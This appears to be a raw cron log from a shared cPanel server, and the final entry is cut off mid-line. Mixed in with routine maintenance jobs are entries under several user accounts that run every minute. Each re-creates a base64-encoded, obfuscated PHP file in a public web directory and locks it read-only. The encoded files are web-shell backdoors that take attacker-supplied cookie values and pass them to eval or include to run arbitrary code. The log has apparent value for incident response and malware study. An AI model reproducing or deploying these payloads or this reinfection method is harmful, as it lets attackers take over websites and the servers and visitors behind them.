Mar  2 12:35:01 medusa CROND[9277]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:35:01 medusa CROND[9278]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:35:01 medusa CROND[9284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:35:01 medusa CROND[9282]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:35:01 medusa CROND[9286]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:35:01 medusa CROND[9297]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 12:35:01 medusa CROND[9299]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:35:01 medusa CROND[9301]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:35:01 medusa CROND[9305]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:35:01 medusa CROND[9306]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:35:01 medusa CROND[9303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:36:01 medusa CROND[28214]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:36:01 medusa CROND[28218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:36:01 medusa CROND[28222]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:36:01 medusa CROND[28226]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:36:01 medusa CROND[28227]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:36:01 medusa CROND[28228]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:36:01 medusa CROND[28230]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:36:01 medusa CROND[28225]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:36:01 medusa CROND[28232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:36:01 medusa CROND[28231]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:36:01 medusa CROND[28233]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:36:01 medusa CROND[28234]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:36:01 medusa CROND[28237]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:36:01 medusa CROND[28248]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:37:01 medusa CROND[15740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:37:01 medusa CROND[15742]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:37:01 medusa CROND[15743]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:37:01 medusa CROND[15744]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:37:01 medusa CROND[15745]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  2 12:37:01 medusa CROND[15746]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiA